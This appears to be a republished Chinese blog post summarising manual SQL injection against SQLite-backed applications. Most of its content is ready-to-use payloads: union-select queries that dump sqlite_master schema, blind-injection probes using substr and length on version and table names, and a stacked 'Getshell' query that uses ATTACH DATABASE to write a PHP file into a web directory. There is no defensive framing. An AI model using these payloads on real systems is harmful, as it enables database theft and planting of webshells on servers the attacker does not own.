首页 > 数据库技术 > 详细

SQLite手工注入方法小结

时间:2016-08-11 12:58:55      阅读:617      评论:0      收藏:0      [点我收藏+]

SQLite 官网下载:www.sqlite.org/download.html

sqlite管理工具:http://www.yunqa.de/delphi/products/sqlitespy/index

 

sqlite_master隐藏表,具体内容如下:

字段:type/name/tbl_name/rootpage/sql

技术分享

 

 sqlite注入测试:

 

 1、Union select 查询

select * from test where id =1 and 1=2 union select name,sql from sqlite_master

 技术分享

2、盲注

 

select * from test where id =1 union select 1,length(sqlite_version())=6    //得到sqlite版本位数

select * from test where id =1 and substr(sqlite_version(),1,1)=‘3‘            //得到sqlite版本首位为3

select * from test where id =1 and substr((select name from sqlite_master where type=‘table‘ limit 0,1),1,1)=‘T‘  (大小写区分,有差别)  //得到sqlite表名第一位为T

 

 3、Getshell

 

select * from test where id =1 ;ATTACH DATABASE ‘C:\\Sqlite\\xiaozi.php‘ AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (‘ <?php phpinfo(); ?> ‘); --

 

 

参考链接:

Win7下SQLite安装配置与使用方法详解:http://www.codeceo.com/article/win7-sqlite-usage.html

Windows下安装配置SQLite和使用的教程:http://www.weste.net/2014/10-08/99347.html

SQLite手工注入方法小结

原文:http://www.cnblogs.com/xiaozi/p/5760321.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!